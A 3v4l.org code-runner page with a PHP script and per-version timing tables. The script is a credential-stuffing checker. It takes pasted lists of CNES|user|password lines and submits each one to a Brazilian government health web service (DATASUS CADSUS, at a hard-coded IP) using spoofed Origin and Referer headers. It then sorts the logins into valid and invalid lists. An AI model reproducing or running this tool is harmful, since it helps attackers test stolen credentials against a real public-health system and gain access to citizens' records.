3v4l.org

run code in 300+ PHP versions simultaneously
<?php //error_reporting(0); set_time_limit(0); function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { continue; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } if(isset($_POST["enviar"])){ $SetParamList = trim($_POST['cartoes']); xflush(); $SetParamList = explode("\n", $SetParamList); $SetParamCount = count($SetParamList); xflush(); for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) { $SetParamList = str_replace(" ", "", $SetParamList); $SetParamList = str_replace("\r", "", $SetParamList); $SetParamList = str_replace("\n", "", $SetParamList); list($CNES, $USER, $SENHA,$RESTO) = explode("|", $SetParamList[$setParamUX]); xflush(); $setParamFunction = CardCheck($CNES, $USER, $SENHA); print $setParamFunction; } print "<br> <center><div style='width: 20%;' class='alert alert-success'>Foram testados <strong>{$SetParamCount}</strong> logins</div></center>"; } function CardCheck($CNES, $USER, $SENHA) { $request = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' .'<SOAP-ENV:Body>' .'<tns:validaLogin xmlns:tns="http://servidorWsCadsusCobdn.cobdn.datasus.gov.br/">' .'<usuarioSistema>CADSUS</usuarioSistema>' .'<senhaSistema></senhaSistema>' .'<codigoSistema>003</codigoSistema>' .'<bancoSistema>FEDCADWEB-DATASUS-00000010</bancoSistema>' .'<ibgeSistema>330455</ibgeSistema>' .'<username>'.$CNES.'</username>' .'<senhaUsername>'.$SENHA.'</senhaUsername>' .'<cnsOperador>'.$USER.'</cnsOperador>' .'<senhaOperador>'.$SENHA.'</senhaOperador>' .'</tns:validaLogin>' .'</SOAP-ENV:Body>' .'</SOAP-ENV:Envelope>'; $header = array( "Host: 189.28.143.114:8080", "Connection: keep-alive", "Content-length: ". strlen($request), "Origin: http://cartaonet.datasus.gov.br", "X-Requested-With: ShockwaveFlash/23.0.0.166", "User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", "Content-Type: text/xml, charset=utf-8", "Accept: */*", "Referer: http://cartaonet.datasus.gov.br/operadores/CadWeb.swf", "Accept-Encoding: gzip, deflate", "Accept-Language: pt-BR,pt,q=0.8,en-US,q=0.6,en,q=0.4", ); //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, "http://189.28.143.114:8080/ServidorWsCadsusJdbc/ServidorWsCadsusCobdn"); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_HEADER, 0); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $request); curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header); $response = curl_exec($soap_do); $response = preg_replace("/(<\/?)(\w+):([^>]*>)/", "$1$2$3", $response); $xml = new SimpleXMLElement($response); $body = $xml->xpath('//SBody')[0]; $array = json_decode(json_encode((array)$body), TRUE); $array = json_encode ($array); $obj = json_decode($array, TRUE); //echo '<pre>'; //print_r ($obj); //echo '</pre>'; if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Cnes / Username / Senha inválido!') {echo "<script>document.getElementById('reprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Este usuário foi desabilitado!') {echo ""; } if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Login validado!') {echo "<script>document.getElementById('aprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.100.1420.01414.28
7.2.90.1550.00514.29
7.2.80.1580.00714.59
7.2.70.1490.00814.68
7.2.60.1680.00614.69
7.2.50.1630.00814.58
7.2.40.1490.00814.89
7.2.30.1500.00514.84
7.2.20.1000.01114.84
7.2.10.0890.00614.69
7.2.00.1050.00814.62
7.1.220.1430.00913.47
7.1.210.1460.00813.41
7.1.200.1390.00613.63
7.1.190.1510.00813.70
7.1.180.1420.01013.37
7.1.170.1330.01313.61
7.1.160.1480.01213.56
7.1.150.1520.00313.85
7.1.140.1140.00413.61
7.1.130.1550.00213.58
7.1.120.1100.00513.55
7.1.110.1040.00913.61
7.1.100.0860.00914.50
7.1.90.0810.00714.53
7.1.80.0520.00814.40
7.1.70.2240.00914.17
7.1.60.0870.01132.41
7.1.50.2150.00532.23
7.1.40.1580.01431.71
7.1.30.1700.01232.04
7.1.20.1620.01031.85
7.1.10.1320.00713.96
7.1.00.1440.00913.79
7.0.310.1480.00213.20
7.0.300.1400.01013.24
7.0.290.1700.00013.39
7.0.280.1010.00513.34
7.0.270.1130.00813.48
7.0.260.0820.00813.41
7.0.250.0880.00713.45
7.0.240.0670.00914.16
7.0.230.2270.00914.16
7.0.220.0670.00814.25
7.0.210.1850.00713.77
7.0.200.0970.00913.98
7.0.190.2070.00413.93
7.0.180.1680.00913.80
7.0.170.1650.00413.66
7.0.160.1360.01413.76
7.0.150.1740.00913.80
7.0.140.1500.00913.63
7.0.130.1560.00913.91
7.0.120.1230.01013.96
7.0.110.1330.01013.78
7.0.100.1100.00913.74
7.0.90.1460.00513.76
7.0.80.1260.00613.72
7.0.70.1410.00713.75
7.0.60.1200.00813.66
7.0.50.1340.00913.87
7.0.40.2020.00613.87
7.0.30.1650.00613.79
7.0.20.1460.00813.82
7.0.10.1390.01013.83
7.0.00.1310.00713.83
5.6.380.0080.00814.47
5.6.370.0080.01114.52
5.6.360.0120.01014.17
5.6.350.0140.00914.49
5.6.340.0120.00914.44
5.6.330.0070.01114.15
5.6.320.0180.00314.44
5.6.310.0170.00414.21
5.6.300.0130.02016.49
5.6.290.0100.02616.50
5.6.280.0120.02416.44
5.6.270.0100.03016.55
5.6.260.0130.03016.62
5.6.250.0100.02716.44
5.6.240.0100.02816.50
5.6.230.0090.02716.44
5.6.220.0170.02116.56
5.6.210.0110.02716.43
5.6.200.0160.03116.53
5.6.190.0080.03616.52
5.6.180.0160.02116.27
5.6.170.0070.03416.29
5.6.160.0090.02516.36
5.6.150.0140.02916.46
5.6.140.0120.02916.45
5.6.130.0150.02016.50
5.6.120.0120.02616.52
5.6.110.0110.02816.40
5.6.100.0070.02916.39
5.6.90.0120.02316.30
5.6.80.0130.02016.33
5.6.70.0150.02416.24
5.6.60.0140.01916.27
5.6.50.0130.02216.25
5.6.40.0080.02716.22
5.6.30.0080.02916.27
5.6.20.0090.03216.33
5.6.10.0140.02116.27
5.6.00.0180.02316.17

preferences:
146.12 ms | 1394 KiB | 7 Q